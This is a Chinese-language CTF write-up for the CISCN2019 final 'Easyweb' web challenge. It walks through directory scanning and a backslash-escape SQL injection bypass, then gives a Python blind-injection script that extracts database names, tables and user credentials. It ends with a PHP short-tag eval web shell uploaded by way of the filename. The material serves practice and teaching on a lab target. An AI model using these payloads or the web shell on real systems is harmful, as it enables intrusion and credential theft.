[CISCN2019 总决赛 Day2 Web1]Easyweb

本题考点:

· 扫描目录

· SQL盲注

· 文件上传

一、扫描目录

打开靶机,让我们登录,万能密码试了试没啥反应,看一下源码

看到有个php链接,点进去看看,改变id值有不同的回显,猜测有SQL注入,搞了半天没看见啥回显,用dirsearch扫一下网站

 

看到robots.txt,看一下

看到提示我们有源码备份,试了一下,是image.php.bak

下载好源码后

<?php
include "config.php";

$id=isset($_GET["id"])?$_GET["id"]:"1";
$path=isset($_GET["path"])?$_GET["path"]:"";

$id=addslashes($id);
$path=addslashes($path);

$id=str_replace(array("\\0","%00","\\'","'"),"",$id);
$path=str_replace(array("\\0","%00","\\'","'"),"",$path);

$result=mysqli_query($con,"select * from images where id='{$id}' or path='{$path}'");
$row=mysqli_fetch_array($result,MYSQLI_ASSOC);

$path="./" . $row["path"];
header("Content-Type: image/jpeg");
readfile($path);
?>

 二、SQL盲注

传入两个参数,经过一系列过滤后进行sql查询,我们注意到最后有个 readfile() 函数,尝试构造闭合,但是单引号被过滤了,这里就可以采用 \ 转义字符来进行绕过。

如果最后传入的 id 值为 \ ,那么sql语句就为:

select * from images where id = '\' or path = '';

这里的 \ 将第二个单引号转移掉了,那么第一个单引号就会找第三个单引号闭合,那么我们就可以在path 的值里面进行盲注。

那么我们可以传入?id=\\0&path=or 1=1--+

因为当我们传入的id的值 \\0 后,他会先经过addslashes() 函数,出来后的 id 值就变成了 \\\0 ,那么在str_replace() 函数中,\\0会被换空,最终到sql 语句中就变成了 \ 

然后就是跑python 脚本了

import requests

url = 'http://a207ac0d-bb73-4659-b0b5-728248675810.node4.buuoj.cn:81/image.php'
flag = ''

payload1 = "?id=\\0& path=or(ord(substr((select(database())),{},1))>{})%23"
payload2 = "?id=\\0& path=or(ord(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())),{},1))>{})%23"
payload3 = "?id=\\0& path=or(ord(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name=0x7573657273)),{},1))>{})%23"
payload4 = "?id=\\0& path=or(ord(substr((select(group_concat(username,password))from(users)),{},1))>{})%23"
for i in range(1,1000):
    low =  32
    high = 128
    mid = (low + high)//2
    while(low<high):
        payload = payload4.format(i,mid)
        new_url= url+payload
        r= requests.get(new_url)
        if "JFIF" in r.text:
            low=mid+1
        else:
            high=mid

        mid = (low+high)//2
    if (mid == 32 or mid == 128):
        break
    flag +=chr(mid)
    print(flag)

print(flag)

url 改成自己的就行,最后跑出来账号密码,登录

三、文件上传

登陆后上传一个php 文件,提示不能上传,就使用短标签进行绕过

<?=@eval($_POST['123']);?>

随便上传一个php文件,文件名改为上面那个

内容不重要的,主要还是filename那里,放包,之后蚁剑连接

 

这里的url的话是你的网址加上上传后回显出来的地址,注意不要带上最后的 .LOL,我也不懂加个这个啥意思

 

 拿到flag

 

 

  • 2
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

清丶酒孤欢ゞ

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值